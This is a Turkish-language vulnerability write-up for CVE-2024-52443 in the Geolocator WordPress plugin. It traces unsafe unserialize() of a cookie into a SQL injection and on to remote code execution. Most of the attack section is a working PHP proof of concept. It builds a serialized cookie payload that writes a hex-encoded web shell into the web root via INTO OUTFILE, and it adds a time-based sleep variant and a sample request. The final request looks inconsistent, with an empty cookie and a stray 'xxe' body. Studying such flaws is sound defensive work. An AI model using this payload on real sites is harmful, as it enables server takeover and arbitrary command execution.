CVE-2024-52443 Geolocator

Geolocator wordpress eklentisidir. Eklenti gelen ziyaretcilerin ip adreslerine(lokasyonuna) gore icerik gosterip gizleyebileceginiz ozellik sunar. wordfence adresinde bildirilmis. Eklenti:https://wordpress.org/plugins/geolocator/

LOAD

PHP Object Injection

Guvenli olmayan veya kullanici tarafindan degistirilebilen unserialize() fonksiyonunun kullanimindan kaynakli guvenlik aciklari.

PHP.NET unserialize()

Unserialize

geolocator_location cookie adi var mi kontrol ediyor eger varsa unserialize ediyor stripslashes fonksiyonu sadece ters slashlari siliyor ornek abc\\'test => abc'test else kismi ile isimiz yok unserialize ile ilgileniyoruz.

LOAD

Sql Injection

Unserialize fonksiyonunu inceledik cookie ile direk bizden veri alabiliyor. Sql injection kismina bakalim geolocator_country() kismi, koda ilk bakista eger ek bir kosul vs yoksa ve kullanici ile etkilesime giriyorsa en basit sql injection acigi mevcut.

function adjacentPostWhereFilter( $where ) {

		if( geolocator_country() && is_single() && is_singular( 'post' ) ) {

			$where .= " AND (m.meta_key = '_geolocator_hide_for' AND m.meta_value != '" . geolocator_country() . "')";

		}

		return $where;

	}

Trace

adjacentPostWhereFilter()
  └─ $where .= "... AND m.meta_value != '" . geolocator_country() . "'"
     └─ geolocator_country()
        └─ return $geolocator->location->getCountry();
           └─ getCountry() 
              └─ $location = $this->location
              └─ return $location['country']
                 └─ __construct() 
                    └─ $this->location = $this->getLocation()
                       └─ getLocation()
                          └─ unserialize($_COOKIE['geolocator_location'])

Object Injection => Sql Injection => RCE

Bizden aldigi serilestirilmis cookie verisini unserialize edecek ve yukarida biraktigim traceyi gerceklestirip object injection uzerinden sql injection yapacagiz ardindan sql injection uzerinde de shell yazdiracagiz.

Exploit7 Bolumu

Yazma izni varsa shell yazabilir bunun haricinde time based sql injection cekmek icin pocu su sekilde degistirin ') union select 1 and sleep(5)#

<?php

$sql = array(
   'country' => "') union select 0x3c3f70687020706173737468727528245f4745545b2261225d293b3f3e into outfile 'c:/xampp/htdocs/wordpress/exp7.php'#",  
   'country_name' => 'exp7777',
   'latitude' => false, 
   'longitude' => false
);

$a=urlencode(serialize($sql)) . "\n\n";
$output = str_replace("+", "%20", $a);
echo $output;
 
?>
GET /wordpress/index.php/2024/11/28/merhaba-dunya/ HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Cookie: geolocator_location=
Content-Length: 2

xxe